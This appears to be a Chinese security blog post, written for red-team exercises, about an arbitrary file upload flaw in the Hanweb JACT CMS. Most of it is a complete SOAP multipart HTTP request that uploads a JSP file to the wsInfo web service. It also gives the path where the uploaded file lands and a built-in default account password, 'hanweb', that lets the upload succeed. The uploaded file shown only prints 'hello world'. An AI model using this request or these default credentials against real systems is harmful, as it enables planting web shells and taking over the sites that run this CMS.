大汉CMS-jact任意文件上传

在护网的时候,许多目标都用大汉jact这套系统。根据“小道消息”说是有最新的任意文件上传!hanweb-decode

漏洞分析

这个问题在2014年5月12号的时候在乌云上提交过,8月10号公开出来的。根据乌云描述(jact的该操作又有所不同,区别还是在用户验证上,jact中最后查询用户名密码的时候是用hibernate预处理,目测不能绕过,只有提供正确用户名密码才能上传。)来看关键是需要正确的用户密码。而最近这个说的任意文件上传关键点在于系统内置的默认用户。如果手头上有大汉老版本的,可以查看对应用户表即可成功利用该漏洞

jact/services/wsinfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /jsearch/webservice/wsInfo HTTP/1.0
Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; boundary="----=_Part_0_9532399.1399678337692"
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.2
Host: target.com
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1084
------=_Part_0_9532399.1399678337692
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: binary
Content-Id: <CB69CE057274B576D4C44A9112AE8DE8>

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jsearch/webservice/wsInfo">
<strLoginId xsi:type="xsd:string"></strLoginId>
<strPwd xsi:type="xsd:string"></strPwd>
<strKey xsi:type="xsd:string"></strKey>
<handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/>
<fileName xsi:type="xsd:string">test.jsp</fileName>
<iState xsi:type="xsd:int">0</iState>
</ns1:receivefile>
</soapenv:Body>
</soapenv:Envelope>

------=_Part_0_9532399.1399678337692
Content-Type: text/plain
Content-Transfer-Encoding: binary
Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB>

<%="hello world!"%>
------=_Part_0_9532399.1399678337692--

上传成功之后,具体落地路径为:jact/main/jact/commonuser/transact/temp/Data/test.jsp其中Data为当前年月,例如:20XXXX

解密

默认存在某个用户,密码为hanweb。

hanweb-decode